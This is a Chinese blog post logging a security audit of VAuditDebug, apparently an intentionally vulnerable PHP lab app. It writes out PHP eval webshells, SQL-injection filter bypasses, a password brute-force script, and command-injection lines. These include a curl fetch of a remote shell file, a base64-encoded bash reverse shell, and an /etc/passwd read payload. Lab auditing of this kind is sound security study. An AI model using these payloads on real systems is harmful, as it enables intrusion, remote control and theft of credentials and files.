全方位对VAuditDebug版本进行代码审计和漏洞利用,最后修复,主要记录审计过程和思路,此博客会持续更新。
day1
先使用Seay代码审计工具进行扫描,共发现49个疑似漏洞,逐一对漏洞进行分析。
ID1
根据提示疑似文件包含漏洞,查看页面源代码发现该页面存在参数'module',如果没有进行传递便正常显示,如果传递则引用该参数。看到这里就感觉妥了,尽管它对引用参数进行限制但include函数在进行文件包含时会把所有文件均当做PHP文件进行解析。
我们尝试直接在本地服务器创建shell.inc文件,使用文件包含访问本地服务器getshell。shell.inc代码如下
<?php eval($_POST['code']) ?>
见证奇迹,访问成功,接下来了向服务器写入木马文件
<?php
$fp=fopen('uploads/shell.php','w');
fwrite($fp,'<?php eval($_POST['code']); ?>');
fclose($fp);
?>
到了这一步直接上中国菜刀,轻松连接上,而我们知道sys和upload文件夹是拥有写入权限的,理论上可以为所欲为了
ID2
根据提示找到messageDetail.php,查看源代码,有是个不得了的发现,简单查找发现这是留言的详情页面,而且未对用户输入的ID字段做检测,但通过sqlwaf函数进行了替换,既然没做检测我们绕过他的替换关键字应该能行。
替换内容如下:
发现'&&','||','''均被替换为了空,可以利用该参数进行绕过,成功取到数据库名,payload为:
?id=16 a||nd up||datexml(1,con||cat(0x7e,database(),0x7e),1) --+
ID3
根据提示查看messageSub.php源代码
访问该页面为404,带上参数后直接在留言板显示,那确定这是留言板的后台代码,提交数据时同样对数据做了处理但这次使用的是mysql_real_escape_string函数,暂时无法下手。
ID4
通过提示找到search.php,查看源码
这个SQL语句好像没做防护,但实际操作发现单引号被转义,宽字节注入无效,各种转义也无效暂时放弃。不过提示是这里存在XSS注入倒是存在,可以进行反射型XSS注入(firefox不行,谷歌行)
ID5
根据扫描结果来太乱了,决定根据业务逻辑来,先看看登录有无漏洞,查看登录代码发现未作登录次数限制,可以考虑爆破。
这里采用python爆破,通过抓包拿到post数据用密码字典爆破,代码如下:
import hashlib,requests,threading
def blast_app():
# username: coco
# password: 123456
value="退出"
with open("password-top101.txt","r") as fp:
text=fp.readlines()
url='http://192.168.79.152:81/user/logCheck.php'
for i in text:
i=i.strip()
data={"user":"coco","pass":i,"submit":"%E7%99%BB%E5%BD%95"}
res=requests.post(url, data)
# print(res.text)
if value in res.text:
print('登录密码为',i)
break
blast_app()
爆破成功!
ID6
同理尝试爆破管理员账户,因为有验证码,采用burp爆破
1.拦截数据
2.发送到intrude将user和pass设置为变量,其余不变
3.添加payload数据开始爆破,可以看到有一组数据明显与其他数据不同,证明用户名和密码为admin。
ID7
进入管理员界面后进入ping界面,使用192.168.79.152 123 >>../uploads/1.php可以把内容写进去,但无法识别192.168.79.152 "<?php phpinfo();?>" >>../uploads/1.php,可以使用
ping -c 3 192.168.79.152 | cat index.php >>../uploads/1.txt
来获取源代码,或者查看私密文件。
三种getshell的方式
1.采用base64编码,将木马进行base64编码,再解码
127.0.0.1;echo PD9waHAgcGhwaW5mbygpOyA/Pg== | base64 -d >../uploads/shell.php
2.curl 访问提前编写好的木马(使用curl无法解析的文件类型)
127.0.0.1;curl http://192.168.114.195/shell.txt > ../uploads/shell.php
3.反弹shell,利用kali监听端口,让服务器连接kali(payload后续补充)
127.0.0.1;echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xMzIvNDQ0NCAwPiYx" | base64 -d | bash
ID8
文件任意读取:
查看avatar.php源代码:存在危险函数file_get_contents,通过代码审计发现$_SESSION['avatar']
数据来源于updateAvatar.php
updateAvatar.php源代码:$_FILES['upfile']是我们用户上传的数据,可控。但数据进行了处理,检测文件后缀名合格后对文件进行了重命名并且移动,我们无法控制文件名。不难发现这里未对数据进行转义,可以进行SQL注入,想法法通过sql注入使得文件名达到我们想要的效果。
因为update有一个特性是对一个数据进行重复复制时取最后一个值作为数据值,尝试构建payload,由于文件名不能包含/or\,所以将想要访问的文件名改为16进制。
',user_avatar = 0x2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764 where user_name='coco'#.jpg
抓包查看:
ID9
安装漏洞:
查看install.php的代码时发现就算存在install.lock文件依然会执行后面的代码,而且config.php文件是由此生成的,数据库连接参数是由用户上传可控,其中的dbname只做了重复检测,并未对参数进行校验,可以进行SQL注入
构建payload:payload既要满足SQL语句的规范性,还要使得在config.php文件中可以执行
使用``来使得SQL语句合法。
`";phpinfo();//`
访问install.php发送post请求,加上参数植入木马